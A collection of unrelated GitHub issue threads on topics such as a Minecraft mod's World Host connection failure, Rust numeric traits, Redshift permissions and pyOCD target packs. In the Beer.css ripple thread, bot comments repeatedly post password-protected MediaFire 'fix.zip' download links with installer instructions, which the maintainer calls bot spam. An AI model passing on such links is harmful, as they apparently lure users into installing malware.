[Mod-Incompat] [1.7.4] Unable to join friends through World Host

Legacy4J Version
[Patreon Release] 1.21-1.7.4
Mod Loader Version
Used NeoForge 21.1.35
Bug/Glitch Occurrence Context
Unable to join friends using the WorldHost mod.
Tested on the newest/patreon release for 1.21.
Crash Report
n/a
What happened wrong?
Title.

DEBUG (2535)
https://gist.github.com/Cixon/7bf4b7473ef33d0168bee2124e84a75f

Did u test without L4J?

In my tests, I couldn't login even without L4J, meaning it was World Host instability.

In my tests, I couldn't login even without L4J, meaning it was World Host instability.

It ran fine, I had no other mods aside from Architectury API

Did u test without L4J?

Yeah it seems with L4J my friend and I would get the ‘Connecting to Server’ thing forever until prompted with a ‘timed out’ error. Neither of us was able to connect until L4J was disabled as a active mod.

I was using 1.21.1 instead of 1.21 Minecraft but I feel this is irrelevant information?

Did u test without L4J?

Yeah it seems with L4J my friend and I would get the ‘Connecting to Server’ thing forever until prompted with a ‘timed out’ error. Neither of us was able to connect until L4J was disabled as a active mod.

Elaborate further, if the host had L4J installed, you wouldn't be able to connect, right?

I think this is some change that World Host made in some update that created some kind of incompatibility.

Elaborate further, if the host had L4J installed, you wouldn't be able to connect, right?

In the tests conducted, both the hoster and joiner had L4J installed. This resulted in both users not being able to connect. I have not tried having one user disable while the other keeps L4J enabled.

maybe this is something related to https://github.com/Gaming32/world-host/issues/97 ?
idk, I didn't see anything in that log at least

maybe this is something related to Gaming32/world-host#97 ?
idk, I didn't see anything in that log at least

Possibly, for now, I guess I could use e4mc but that one isn’t working for me either, could be modpack related said something about a gui..
I could force a crash.log event to see if something can get dug up for this Worldhost issue? That ticket was in July and I worry a third-party patch may need to be made.

idk, I didn't see anything in that log at least

Here's a forced crash report (holding F3+C):
crash-2024-09-21_07.50.18-client.txt


Only upload yaml files to DevSite

Cc @tbpg

@tbpg: Good to hear it looks okay to you. Will wait for Amanda to sign-off before merging; it won't actually be useful until there's another package release, admittedly...


Add Travis CI to build Development and master

Have Travis-CI build Development and Master branches

travis build capabilities have been added


ARK: Survival Evolved – Merging "ark" and "arkprivate"

I suggest to merge both templates and make it possible to configure more startup parameters. So parameters like -exclusivejoin can be added variably and it doesn't need two different templates.
In addition, it opens other possibilities for the server admin, which were blocked before.

Closed as now single template with the changes needed

Thanks for this, but wouldn't it be better to simply call the template directory "ark"?


Remove warn message for local dns reachable in case of vsock

In case of default/legacy network CheckCRCLocalDNSReachable function
should error out because the dns setup is not properly happen but in
case of vsock mode the routes are taken care but route controller so
this function which try to look for foo.apps-crc.testing always give
a warning in case of vsock mode.
This patch will remove that warn message.
fix: #2259

/lgtm


fix: add WaveComponent to metadata registry

What does this PR do?
Add WaveComponent to metadata registry here so deploy and retrieve work.
WaveComponent works like WaveDashboard since it's an extension of WaveDashboard.
What issues does this PR fix or reference?
@W-9520846@
Functionality Before
Currently, deploy and retrieve on WaveComponent returns error from this library and plugins-source.
Functionality After
It works, tested via resolve('/path/to/wave/file.comp') and when linked into plugins-source linked into sfdx.

@forcedotcom/pdt - This PR originally did appear to run the checks, but, when I rebased to pickup the latest, it didn't. Is there something I need to do? I can't see anything for it in circleci, maybe I don't have permissions?


A trait to require ops on references

I noticed e.g. this implementation to implement numerical operations on references, in this case impl<'a, 'b> Add<&'b BigInt> for &'a BigInt. Is there a trait that allows one to require that such implementations on references exist? E.g. something like below:
trait OpsOnBothValueAndRefs: NumOps<Self> + for<'r, 's> &'r Self: NumOps<'s Self> {}

There are a few supertraits you can choose in various combinations of NumOps:

Num is NumOps and a few other traits, plus a from_str_radix method.
NumRef is Num + for<'r> NumOps<&'r Self>, basically adding a reference RHS.
RefNum<Base> is trait that would be implemented for &Base, requiring NumOps<Base, Base> + for<'r> NumOps<&'r Base, Base> -- i.e. reference LHS, reference or value RHS.

So you could write the full combination something like this:
trait OpsOnBothValueAndRefs: NumRef
where
    for<'r> &'r Self: RefNum<Self>,
{}

However, https://github.com/rust-lang/rust/issues/20671 is the reason such a trait isn't already provided. Since the extra where clause isn't elaborated, everywhere you write T: OpsOnBothValueAndRefs, you would also have to repeat the for<'r> &'r T: RefNum<T>, which loses a lot of the value of a combined trait in the first place.

That explains a lot. Thank you very much!
As a follow-up: how is decided, which traits on references to implement? For example, I notice that there is a impl<'a, T> Add<Ratio<T>> for &'a Ratio<T> but no impl<'a, T> PartialEq<Ratio<T>> for &'a Ratio<T>.
Are they just added as needed? Could I potentially make a pull request with an impl for such a missing implementation if that would be convenient for my use case?


[🐞] in dev mode, ignore dist/

Which component is affected?
Qwik Runtime
Describe the bug
When running in dev mode, and there's a stale dist/ folder with SSG files in there, those files get served.
In dev, only public/ should be served.
Reproduction
not yet
Steps to reproduce
drive by issue creation, no repro, could be just an issue with this proprietary repo
System Info
macos with latest qwik

Additional Information
No response

@yousefmarey12 is working on this


Mismatched ripple effect

Reopen #190 issue & F20 Feature Request. Also related with #189, #206, #315, #346.
The ripple that used in Beer.css was an pure CSS hack, which look less professional. The other Material framework always using an traditional ripple (Materialize, Material Angular.) And both was using an seperated element to ripple in button. (Like waves-ripple in Materialize and mat-ripple in Angular. We can do the same thing with pure Javascript.
Here's an good point for using an traditional ripple :

Good code - The ripple that still used in Beer.css using :after selector, which if we want insert content in after button directly using CSS, the ripple will get override. (I know we can add <span> in button, but still dirty)
Easy customization - The ripple that i made was customizable like change the duration & color.
Fancy experience -  The ripple effect when we click it was fancy and addictive, also make it more real and native.

Check here.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

How these bots working on GitHub?!

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

...

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I will delete this issue, there are a lot of bots here 😕

I will close this issue. It was infested by bots, just transferring to https://github.com/beercss/beercss/issues/368


[SQL Migration] Properly respect user's encryptConnection and trustServerCertificate settings

This PR fixes #

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 42.031%

Totals

Change from base Build<PHONE_NUMBER>:
0%

Covered Lines:
28669

Relevant Lines:
63352

💛  - Coveralls


Added shield power-up

What does this PR do?
fixes #86
Shield power up is now added which will provide protection from aliens for 3 secs.
Fixes #86

Type of change

Chore (refactoring code, technical debt, workflow improvements)
New feature (non-breaking change which adds functionality)

How should this be tested?

[x] start the game.

Mandatory Tasks

[x] Make sure you have self-reviewed the code. A decent size PR without self-review might be rejected.

@YadavAkhileshh please merge the PR

@YadavAkhileshh  Please add hacktoberfest-accpeted label, as it is not accepting this PR and others as well.

@AayushiJapsare15 please solve the merge conflict and then try to raise pr


Localization

Enable localization from the env variables as suggested here https://github.com/alexjustesen/speedtest-tracker/pull/573

To localize translations pass APP_LOCALE as an environment variable.

[ ] Add env var to the docs
[ ] Add localization list to the docs


This package should document what permission are needed to use these views

My default analyst role doesn't have the ability to view this relation:
dwh=> select * from redshift_admin.table_stats limit 5;
ERROR:  permission denied for relation stv_tbl_perm

Nor this one:
dwh=> select * from redshift_admin.users_table_view_privileges limit 5;
ERROR:  permission denied for schema
    dev

Important to note, the dev schema doesn't even exist at this point (I dropped it earlier today).
It seems like these views are only queryable by admins :/

Weirdly even as an admin I have difficulty accessing these views.
I get ERROR:  permission denied for relation stv_partitions when querying redshift_admin_table_stats but I can happily query that table in isolation.

Hmmm can you try installing from this fork and checking what happens?
packages:
 - git: "git@github.com:davehowell/redshift.git"
    revision: "fix/qualify-base-model-schemas"

No luck, I still can't access that view.
Could be something to do with permissions on my side, I can't access a similar view in our own DBT models which uses stv_blocklist but can query that table.

So my issue was that I was creating the users with a non-super user, so even super users could not access the view as it was using the permissions of the original user.
We'll resolve that by having a separate DBT run which uses a superuser to create only these views.
That probably isn't relevant to the original issue.


model selection on val acc >= or >?

https://github.com/marrlab/DomainLab/pull/462/commits/4f17f89b11f7e2bc42282e4a2ec2c71cc143f07a

changed back to only >

our top-2 val model selection is equivalent to allow = case to happen


Allow usage of multiple AWS credential profiles

Right now it appears to only work with the 'default' profile in ~/.aws/credentials, it'd be nice to support multiple credentials for those of us who have many AWS accounts to work with.

[dev]
aws_access_key_id = TROLLOLOLOLOLOLOL
aws_secret_access_key = TROLLOLOLOLOLOLOL
[prod]
aws_access_key_id= TROLLOLOLOLOLOLOL
aws_secret_access_key= TROLLOLOLOLOLOLOL

and then
for example:
export AWS_PROFILE=dev ( or AWS_PROFILE=prod )
ala https://blogs.aws.amazon.com/security/post/Tx3D6U6WSFGOK2H/A-New-and-Standardized-Way-to-Manage-Credentials-in-the-AWS-SDKs
seems to work ?

That works great! I'll add a note to the README


Fix animation glitch when re-rendering component before animation completes

In animejs, you are suppose to remove the animation listener from your target elements if you toggle another animation on your targets before the current one has finished:
https://github.com/juliangarnier/anime#animeremovetarget
I created a codepen and if you toggle the button multiple times you will see the glitch:
https://codepen.io/ekeric13/pen/PKMqbm

Simply removing the previous target before creating a new anime instance fixes this:
https://github.com/ekeric13/react-anime/blob/25132c01839eef1805a66874f40f19058df616b3/packages/react-anime/src/react-anime.js#L62
When I went to test this though, the first time i clicked on the button nothing happened, and then after that all the animations were doing the previous one.
It seems that the createAnime function isn't getting the latest props when called within componentWillReceiveProps.
I am not familiar with typescript nor the build process being used so maybe I was building the file incorrectly... but I am not sure how this repo is working in it's current state because of this issue.
Having a react wrapper around animejs is great. Would appreciate it to get these issues fixed and a new version published on npm.

Codecov Report

Merging #26 into master will increase coverage by 1.47%.
The diff coverage is 66.66%.

@@            Coverage Diff             @@
##           master      #26      +/-   ##
==========================================
+ Coverage   57.14%   58.62%   +1.47%
==========================================
  Files           1        1
  Lines          28       29       +1
  Branches        7        7
==========================================
+ Hits           16       17       +1
  Misses          8        8
  Partials        4        4

Impacted Files
Coverage Δ

packages/react-anime/src/react-anime.js
58.62% <66.66%> (+1.47%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 07f96bb...25132c0. Read the comment docs.


Clean up docs

Coverage remained the same at 90.55% when pulling 4d72f9ffea30f6423240ecedfdec80ff28f6651b on clean-up-docs into 5fd65144ae65a74468ab94feb9233bdd1d87fc78 on development.


Deploy repo fails to deploy newer snapshots

Overview
Observed on: RHEL, Travis Worker (UBU 18.04)
./start.sh (with or without optional tags) results in the following output Travis Link:
##### Applying prerequisites
Error: unknown shorthand flag: 'k' in -k
Usage:
  oc apply -f FILENAME [flags]
Examples:
  # Apply the configuration in pod.json to a pod.
  oc apply -f ./pod.json

  # Apply the JSON passed into stdin to a pod.
  cat pod.json | oc apply -f -

  # Note: --prune is still in Alpha
  # Apply the configuration in manifest.yaml that matches label app=nginx and delete all the other resources that are not in the file and match label app=nginx.
  oc apply --prune -f manifest.yaml -l app=nginx

  # Apply the configuration in manifest.yaml and delete all the other configmaps that are not in the file.
  oc apply --prune -f manifest.yaml --all --prune-whitelist=core/v1/ConfigMap
Available Commands:
  edit-last-applied Edit latest last-applied-configuration annotations of a resource/object
  set-last-applied  Set the last-applied-configuration annotation on a live object to match the contents of a file.
  view-last-applied View latest last-applied-configuration annotations of a resource/object
Options:
      --all=false: Select all resources in the namespace of the specified resource types.
      --allow-missing-template-keys=true: If true, ignore any errors in templates when a field or map key is missing in the template. Only applies to golang and jsonpath output formats.
      --cascade=true: If true, cascade the deletion of the resources managed by this resource (e.g. Pods created by a ReplicationController).  Default true.
      --dry-run=false: If true, only print the object that would be sent, without sending it.
  -f, --filename=[]: that contains the configuration to apply
      --force=false: Only used when grace-period=0. If true, immediately remove resources from API and bypass graceful deletion. Note that immediate deletion of some resources may result in inconsistency or data loss and requires confirmation.
      --grace-period=-1: Period of time in seconds given to the resource to terminate gracefully. Ignored if negative. Set to 1 for immediate shutdown. Can only be set to 0 when --force is true (force deletion).
      --include-uninitialized=false: If true, the kubectl command applies to uninitialized objects. If explicitly set to false, this flag overrides other flags that make the kubectl commands apply to uninitialized objects, e.g., "--all". Objects with empty metadata.initializers are regarded as initialized.
      --openapi-patch=true: If true, use openapi to calculate diff when the openapi presents and the resource can be found in the openapi spec. Otherwise, fall back to use baked-in types.
  -o, --output='': Output format. One of: json|yaml|name|go-template|go-template-file|template|templatefile|jsonpath|jsonpath-file.
      --overwrite=true: Automatically resolve conflicts between the modified and live configuration by using values from the modified configuration
      --prune=false: Automatically delete resource objects, including the uninitialized ones, that do not appear in the configs and are created by either apply or create --save-config. Should be used with either -l or --all.
      --prune-whitelist=[]: Overwrite the default whitelist with <group/version/kind> for --prune
      --record=false: Record current kubectl command in the resource annotation. If set to false, do not record the command. If set to true, record the command. If not set, default to updating the existing annotation value only if one already exists.
  -R, --recursive=false: Process the directory used in -f, --filename recursively. Useful when you want to manage related manifests organized within the same directory.
  -l, --selector='': Selector (label query) to filter on, supports '=', '==', and '!='.(e.g. -l key1=value1,key2=value2)
      --server-dry-run=false: If true, request will be sent to server with dry-run flag, which means the modifications won't be persisted. This is an alpha feature and flag.
      --template='': Template string or path to template file to use when -o=go-template, -o=go-template-file. The template format is golang templates [http://golang.org/pkg/text/template/#pkg-overview].
      --timeout=0s: The length of time to wait before giving up on a delete, zero means determine a timeout from the size of the object
      --validate=false: If true, use a schema to validate the input before sending it
      --wait=false: If true, wait for resources to be gone before returning. This waits for finalizers.
Use "oc <command> --help" for more information about a given command.
Use "oc options" for a list of global command-line options (applies to all commands).

Update (and solution)
The script works on the oc cli version 4.3 but will throw the above error on the latest version.


Remove sql project build dependency on STS

Removes sql project build dependency on STS by downloading the Microsoft.Build.Sql nuget and extracting the files needed for building a .sqlproj before the first .sqlproj build.
Addresses problems with the current STS dependency:

Removes risk of project build failing from unrelated System dlls updates in STS, like what happened in #20368
Building both legacy and SDK-style projects with the same version dlls and targets file

Draft PR for now while deciding if this approach makes sense. Plan on breaking up into separate PRs if we decide to go with this

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

44 of 52 (84.62%)  changed or added relevant lines in 4 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.03%) to 41.678%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

extensions/sql-database-projects/src/controllers/projectController.ts
0
2
0.0%

extensions/sql-database-projects/src/common/httpClient.ts
23
29
79.31%

Totals

Change from base Build<PHONE_NUMBER>:
0.03%

Covered Lines:
27925

Relevant Lines:
62424

💛  - Coveralls


extension NNNN-thumbnail: make directory hierarchy for thumbnails configurable

the extension creates two level subfolders for storing thumbnails. this is necessary for large amounts of files to avoid large folders. since most object do not have thousands of files, it should be possible to disable this behaviour.

new field singleDirectory in config.json


Array type is not inferred after filter

Godot version
v4.0.beta17.official [c40020513]
System information
Linux
Issue description
The following error is thrown when trying to assign to a typed array the result of a filter function:
Trying to assign an array of type "Array[Node]" to a variable of type "Array[Foo]".
Steps to reproduce

Create a parent node of any type
Add children of various types
Filter children by specific type and assign them to the parent's typed prop

Minimal reproduction project
extends Node3D

var foos: Array[Foo]

func _ready():
        #  throws error
	foos = get_children().filter(func (c): return c is Foo)

        # works fine
	for c in get_children():
		if c is Foo: foos.append(c)

Duplicate of #59721


Improve sync instances

For example jvm args, pretty much anything that isn't the instance name

New goal for this issue:
A menu popping up for sync instances that will ask about syncing the following:

Mods (not selectable while any instances are open)
Resource Packs
MultiMC Settings (everything except instance name)
Game Options
Mod Configs
Non-Speedrun Worlds

https://github.com/DuncanRuns/Julti/commit/1139095fec4c7f0ab732f3fd42a512692c80bd5a

Non-Speedrun worlds isn't a thing but I don't see why it needs to be so meh


pyocd pack install fails for STM32G0

When running pack install command for STM32G0 soc, command fails:
$ pyocd pack --install stm32g071rb
0000270:WARNING:__main__:No matching devices. Please make sure the pack index is up to date.

Might be due to following previous error:
Jan 30 15:13:12.521 ERRO download of "https://www.keil.com/pack/Keil.STM32F7xx_DFP.pdsc" failed: https://www.keil.com/pack/Keil.STM32F7xx_DFP.pdsc: error trying to connect: unexpected end of file
Jan 30 15:13:12.522 ERRO download of "https://www.keil.com/pack/Keil.STM32G0xx_DFP.pdsc" failed: https://www.keil.com/pack/Keil.STM32G0xx_DFP.pdsc: error trying to connect: unexpected end of file
Jan 30 15:13:12.660 ERRO download of "https://www.keil.com/pack/Keil.STM32H7xx_DFP.pdsc" failed: https://www.keil.com/pack/Keil.STM32H7xx_DFP.pdsc: error trying to connect: unexpected end of file

Hi @JanneKiiskila is there any way to manually downliad and later pass the .pdsc file?
Due to this issue, I am also experiencing problems installing packs:
pyocd pack --install stm32l476rg
0000384:WARNING:__main__:No matching devices. Please make sure the pack index is up to date.

Thanks

@fgr1986 You can download DFPs directly from the Keil CMSIS-Pack list and use the --pack argument to pass them to pyocd.

@fgr1986 You can download DFPs directly from the Keil CMSIS-Pack list and use the --pack argument to pass them to pyocd.

Hello, I use a nucleo_l452re board. I try to follow the above instruction but does not work. I will show what I typed and my results. Please point out what I missed.
I confirm with pyocd that it knows about the board.
pyocd list -b | grep 452
  0821   NUCLEO-L452RE                    stm32l452re             None

stm32l452re is not a built-in target. I downloaded DFP for STM32L4 from the Keil link. I confirmed the file is fine with ll and strings.
user@3a009e1edd4c:/workdir/zephyrproject$ ll /workdir/Keil.STM32L4xx_DFP.2.4.0.pack
-rw-rw-r-- 1 user user 253902145 Jun 30 03:42 /workdir/Keil.STM32L4xx_DFP.2.4.0.pack

user@3a009e1edd4c:/workdir/zephyrproject$ strings /workdir/Keil.STM32L4xx_DFP.2.4.0.pack | head -n 1
Keil.STM32L4xx_DFP.pdscSDi

I use pyocd cmd -t stm32l452re --pack /workdir/Keil.STM32L4xx_DFP.2.4.0.pack  to tell pyocd that my target board is stm32l452re and the pack is located at /workdir/Keil.STM32L4xx_DFP.2.4.0.pack. However, I got error message.
user@3a009e1edd4c:/workdir/zephyrproject$ pyocd cmd -t stm32l452re --pack /workdir/Keil.STM32L4xx_DFP.2.4.0.pack
0000526:ERROR:linux:Could not get disk devices by id. This could be because your Linux distribution does not use udev, or does not create /dev/disk/by-id symlinks. Please submit an issue to github.com/armmbed/mbed-ls.
0000798:CRITICAL:__main__:Target type 'stm32l452re' not recognized. Use 'pyocd list --targets' to see currently available target types. See <https://github.com/mbedmicro/pyOCD/blob/master/docs/target_support.md> for how to install additional target support.
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pyocd/board/board.py", line 52, in __init__
    self.target = TARGET[self._target_type](session)
KeyError: 'stm32l452re'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pyocd/__main__.py", line 368, in run
    self._COMMANDS[self._args.cmd](self)
  File "/usr/local/lib/python3.6/dist-packages/pyocd/__main__.py", line 702, in do_commander
    PyOCDCommander(self._args, cmds).run()
  File "/usr/local/lib/python3.6/dist-packages/pyocd/tools/pyocd.py", line 692, in run
    if not self.connect():
  File "/usr/local/lib/python3.6/dist-packages/pyocd/tools/pyocd.py", line 795, in connect
    resume_on_disconnect=False,
  File "/usr/local/lib/python3.6/dist-packages/pyocd/core/helpers.py", line 241, in session_with_chosen_probe
    return Session(probe, auto_open=auto_open, options=options, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pyocd/core/session.py", line 179, in __init__
    or Board(self, self.options.get('target_override'))
  File "/usr/local/lib/python3.6/dist-packages/pyocd/board/board.py", line 58, in __init__
    "for how to install additional target support." % self._target_type), exc)
  File "<string>", line 3, in raise_from
pyocd.core.exceptions.TargetSupportError: Target type 'stm32l452re' not recognized. Use 'pyocd list --targets' to see currently available target types. See <https://github.com/mbedmicro/pyOCD/blob/master/docs/target_support.md> for how to install additional target support.
user@3a009e1edd4c:/workdir/zephyrproject$

I tried a few other potential command line combinations, but still fail.
pyocd cmd -t stm32l452re --pack=/workdir/Keil.STM32L4xx_DFP.2.4.0.pack

pyocd pack --install /workdir/Keil.STM32L4xx_DFP.2.4.0.pack -n

pyocd pack --install /workdir/Keil.STM32L4xx_DFP.2.4.0.pack

Please show an sample command line that works. The phrase "use the --pack argument to pass them to pyocd" is too terse to get a newbie started. Thanks in advance.

Further googling shows me issue 643. I try to follow the instructions over there. I still run into problem.
First, I obtain target_override and probe's unique ID.
pyocd list -b | grep 452
  0821   NUCLEO-L452RE                    stm32l452re             None
  0829   NUCLEO-L452RE-P                  stm32l452re             None

pyocd list
0000532:ERROR:linux:Could not get disk devices by id. This could be because your Linux distribution does not use udev, or does not create /dev/disk/by-id symlinks. Please submit an issue to github.com/armmbed/mbed-ls.
  #   Probe          Unique ID
-----------------------------------------------
  0   STM32 STLink   066DFF515055657867072315

Next, I create this config file /workdir/mypyocd.yaml
probes:
  066DFF515055657867072315: # Probe's unique ID.
    target_override:  stm32l452re

# Global options
auto_unlock: false
pack:
  - /workdir/Keil.STM32L4xx_DFP.2.4.0.pack

Invoke pyocd cmd --config=/workdir/mypyocd.yaml
user@3a009e1edd4c:/workdir/zephyrproject$ pyocd cmd --config=/workdir/mypyocd.yaml
0000571:ERROR:linux:Could not get disk devices by id. This could be because your Linux distribution does not use udev, or does not create /dev/disk/by-id symlinks. Please submit an issue to github.com/armmbed/mbed-ls.
0000854:CRITICAL:__main__:Target type 'stm32l452re' not recognized. Use 'pyocd list --targets' to see currently available target types. See <https://github.com/mbedmicro/pyOCD/blob/master/docs/target_support.md> for how to install additional target support.
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pyocd/board/board.py", line 52, in __init__
    self.target = TARGET[self._target_type](session)
KeyError: 'stm32l452re'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pyocd/__main__.py", line 368, in run
    self._COMMANDS[self._args.cmd](self)
  File "/usr/local/lib/python3.6/dist-packages/pyocd/__main__.py", line 702, in do_commander
    PyOCDCommander(self._args, cmds).run()
  File "/usr/local/lib/python3.6/dist-packages/pyocd/tools/pyocd.py", line 692, in run
    if not self.connect():
  File "/usr/local/lib/python3.6/dist-packages/pyocd/tools/pyocd.py", line 795, in connect
    resume_on_disconnect=False,
  File "/usr/local/lib/python3.6/dist-packages/pyocd/core/helpers.py", line 241, in session_with_chosen_probe
    return Session(probe, auto_open=auto_open, options=options, **kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pyocd/core/session.py", line 179, in __init__
    or Board(self, self.options.get('target_override'))
  File "/usr/local/lib/python3.6/dist-packages/pyocd/board/board.py", line 58, in __init__
    "for how to install additional target support." % self._target_type), exc)
  File "<string>", line 3, in raise_from
pyocd.core.exceptions.TargetSupportError: Target type 'stm32l452re' not recognized. Use 'pyocd list --targets' to see currently available target types. See <https://github.com/mbedmicro/pyOCD/blob/master/docs/target_support.md> for how to install additional target support.

I am not able to get the positive result as in issue 643.
I think pyocd has read my yaml, since my command line did not specify any target but Traceback showed Board(self, self.options.get('target_override')). Then, I expect pyocd should know about the absolute path of  /workdir/Keil.STM32L4xx_DFP.2.4.0.pack in the yaml file. I had previously confirmed /workdir/Keil.STM32L4xx_DFP.2.4.0.pack has real content inside. I do not know what should be my next step to troubleshoot this.

When I use a disco_l475_iot1 board, pyocd has built-in support for that target and I have seen pyocd working with that board.
I make another /workdir/mypyocd.yaml for my disco_l475_iot1 board.
probes:
  0670FF323535474B43132338: # Probe's unique ID.
    target_override:  stm32l475xg

# Global options
auto_unlock: false
frequency: 480000

I don't need to specify pack: in this yaml because stm32l475xg is built-in.
I invoked pyocd with this yaml. It ran fine.
user@5d1ead943ded:/workdir$ pyocd cmd --config=/workdir/mypyocd.yaml
0000563:ERROR:linux:Could not get disk devices by id. This could be because your Linux distribution does not use udev, or does not create /dev/disk/by-id symlinks. Please submit an issue to github.com/armmbed/mbed-ls.
Connected to STM32L475xG [Sleeping]: 0670FF323535474B43132338
>>> show map
 Region  Start       End         Size        Access  Sector      Page
 flash   0x08000000  0x080fffff  0x00100000  rx      0x00000800  0x00000400
 sram2   0x10000000  0x10007fff  0x00008000  rwx     -           -
 sram1   0x20000000  0x20017fff  0x00018000  rwx     -           -

So, built-in target works. Using yaml configuration file works. target_override works. However, I haven't seen pack: section in yaml configuration working for me yet, for the case of NUCLEO-L452RE board. What shall I try next?

By the way, I know how to bring up stml452re using openocd. I know NUCLEO-L452RE board can work.
I just need some assistance to get pyocd to use the pack I downloaded and work with NUCLEO-L452RE. I feel I am really close. I don't know what is the missing piece of the puzzle to explore next.
src/openocd -s tcl -f interface/stlink.cfg -f  target/slow_stm32l4x.cfg
Open On-Chip Debugger 0.10.0+dev-01204-gc60252ac-dirty (2020-04-28-01:35)
Licensed under GNU GPL v2
For bug reports, read
        http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : clock speed 480 kHz
Info : STLINK V2J36M26 (API v2) VID:PID 0483:374B
Info : Target voltage: 3.272000
Info : stm32l4x.cpu: hardware has 6 breakpoints, 4 watchpoints
Info : starting gdb server for stm32l4x.cpu on 3333
Info : Listening on port 3333 for gdb connections
Info : accepting 'gdb' connection on tcp/3333
target halted due to debug-request, current mode: Thread
xPSR: 0x21000000 pc: 0x08001988 msp: 0x20027f60
Info : device idcode = 0x20016462 (STM32L45/L46xx - Rev: Y)
Info : flash size = 512kbytes
Info : flash mode : single-bank
target halted due to debug-request, current mode: Thread

@joectchan Did you try something like this?
pyocd list --targets --pack /workdir/Keil.STM32L4xx_DFP.2.4.0.pack
It may be that the pack refers to your target differently, for example, as stm32l452reix or stm32l452retx.  If such target works - then probably the Nucleo board built-in description has to be updated.

The problem I see happens on my in-house development board. It has an stm32l452reix at 3.3V and stm32l452ceux at 1.8V. I can use openocd and STM32CubeIDE to debug them, i.e. I know the hardware works.
I connect this board to pyocd on a raspberry pi running ubuntu. This is my config yaml.
probes:
    066DFF333437414257163919: # Probe's unique ID.
    target_override:  stm32l452reix # 3.3V
    #target_override:  stm32l452ceux # 1.8V

# Global options
auto_unlock: false
frequency: 480000
pack:
  - /home/ubuntu/workspace/Keil.STM32L4xx_DFP.2.4.0.pack

When I tell pyocd to use my yaml, it thinks I am using generic target cortex_m.
ubuntu@ubuntu:~/workspace$ pyocd cmd --config=/home/ubuntu/workspace/mypyocd.yaml
0001442:WARNING:board:Generic 'cortex_m' target type is selected; is this intentional? You will be able to debug but not program flash. To set the target type use the '--target' argument or 'target_override' option. Use 'pyocd list --targets' to see available targets types.
Connected to CoreSightTarget [Halted]: 066DFF333437414257163919
>>> quit
^C0075569:ERROR:board:link exception during target disconnect:
Traceback (most recent call last):
  File "/home/ubuntu/.local/lib/python3.7/site-packages/pyocd/board/board.py", line 96, in uninit
    self.target.disconnect(resume)
  File "/home/ubuntu/.local/lib/python3.7/site-packages/pyocd/core/coresight_target.py", line 306, in disconnect
    self.dp.power_down_debug()
  File "/home/ubuntu/.local/lib/python3.7/site-packages/pyocd/coresight/dap.py", line 314, in power_down_debug
    r = self.read_reg(DP_CTRL_STAT)
  File "/home/ubuntu/.local/lib/python3.7/site-packages/pyocd/coresight/dap.py", line 260, in read_reg
    return self.read_dp(addr, now)
  File "/home/ubuntu/.local/lib/python3.7/site-packages/pyocd/coresight/dap.py", line 352, in read_dp
    def read_dp(self, addr, now=True):
KeyboardInterrupt

When I tell pyocd to use stm32l452reix as target at command line, it works.
ubuntu@ubuntu:~/workspace$ pyocd cmd -t stm32l452reix --pack /home/ubuntu/workspace/Keil.STM32L4xx_DFP.2.4.0.pack
Connected to STM32L452REIx [Halted]: 066DFF333437414257163919
>>>

I copy my yaml to x86 host. Connect my board to x86 host. Then, pyocd on x86 can read my yaml and work fine.
pyocd cmd --config=/workdir/pyocd.yaml
Connected to STM32L452REIx [Halted]: 066DFF333437414257163919
>>> show map
 Region      Start       End         Size        Access  Sector      Page
 Main_Flash  0x08000000  0x0807ffff  0x00080000  rx      0x00000800  0x00000400
 IRAM2       0x10000000  0x10007fff  0x00008000  rwx     -           -
 SRAM        0x20000000  0x2001ffff  0x00020000  rwx     -           -
 IRAM1       0x20000000  0x2001ffff  0x00020000  rwx     -           -
>>>

I edit my yaml file to use stm32l452ceux as target. Move my probe to that uC. Using the same command line on x86 host, pyocd knows my target is stm32l452ceux.
>>> show target
Target:       STM32L452CEUx
DAP IDCODE:   0x2ba01477
>>> halt
Successfully halted device
>>> reg
     r0: 0x294ba161       r6: 0x00000000      r12: 0x20027f13
     r1: 0x00000010       r7: 0x20027fc8       sp: 0x20027fc4
     r2: 0x000003e9       r8: 0x00000000       lr: 0x08001753
     r3: 0x000001ec       r9: 0x00000000       pc: 0x08001712
     r4: 0x00000000      r10: 0x00000000     xpsr: 0x21000000
     r5: 0x00000000      r11: 0x00000000  primask: 0x00000000
>>>

So, there is something wrong parsing yaml when running on raspberry pi, but the same yaml can work on x86 host.

In the config yaml you show above, the target_override key is not indented under the probe unique id. It should look like this:
probes:
    066DFF333437414257163919: # Probe's unique ID.
        target_override:  stm32l452reix # 3.3V

I don't know why it would work on your host machine. Can you confirm whether the indentation is different on the host?

